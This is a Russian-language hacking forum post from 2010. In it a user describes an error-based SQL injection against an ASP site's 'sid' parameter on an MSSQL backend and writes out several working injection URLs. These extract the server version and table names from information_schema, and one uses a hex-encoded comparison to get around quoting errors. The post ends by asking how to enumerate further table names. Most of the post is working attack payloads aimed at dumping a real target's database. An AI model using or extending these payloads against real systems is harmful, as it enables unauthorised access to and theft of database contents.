Показать сообщение отдельно

  #10  
Старый 05.03.2010, 11:06
mr.celt
Участник форума
Регистрация: 06.02.2008
Сообщений: 110
С нами: 9610572

Репутация: 32
По умолчанию

Вот такой вопросик:
попалась стандартная уязвимость на asp:
http://www.site1.com/detail.asp?sid=1485+or+1=@@version--
нормально выводится версия операционки, дальше пытаюсь вытащить названия столбцов из information_schema вот так:
http://www.site1.com/detail.asp?sid=1485+or+1=(select top 1 table_name from information_schema.tables)--
показывает, что есть таблица 'Photos', дальше через not in:
http://www.site1.com/detail.asp?sid=1485+or+1=(select top 1 table_name from information_schema.tables where table_name not in ('Photos'))--
вылетает ошибка " Line 1: Incorrect syntax near 'Photos' "
пробую так:
http://www.site1.com/detail.asp?sid=1485+or+1=(select top 1 table_name from information_schema.tables where table_name not in ("Photos"))--
вылетает: " Invalid column name 'Photos'. "
затестил через <>, заменив название таблицы через хекс так:
http://www.site1.com/detail.asp?sid=1485+or+1=(select top 1 table_name from information_schema.tables where table_name<>0x50686f746f73)--
сработало, но больше одного названия вытащить не получается.
Вопрос: как можно полистать названия?
 
Ответить с цитированием